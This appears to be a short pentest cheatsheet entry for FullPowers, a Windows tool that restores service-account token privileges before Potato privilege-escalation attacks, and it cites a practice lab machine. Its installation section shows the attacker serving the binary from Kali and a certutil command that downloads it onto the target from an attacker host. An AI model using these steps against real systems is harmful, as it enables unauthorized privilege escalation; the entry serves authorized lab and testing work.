FullPowers
Restores a service account's default privileges (SeImpersonate).
A tool that restores a service account's default privileges (including SeImpersonate and SeAssignPrimaryToken) when the token comes stripped. It is usually the setup step before a Potato attack.
Family Privilege escalation
Flags (sin flags)
Concepts SeImpersonate and Potato attacks
Cheatsheet Token privileges → SYSTEM
Installation
# Prebuilt Windows binary (not installed on Kali): download the .exe from the
# repo's latest release and upload it to the target, e.g. serving it from Kali:
python3 -m http.server 80 # on Kali, in the binary's folder
certutil -urlcache -f http://<lhost>/FullPowers.exe FullPowers.exe # on the target (or SMB / evil-winrm 'upload')Useful commands
Appears in
Some machines where its use is documented; not an exhaustive list.
- SquidProving Grounds Practice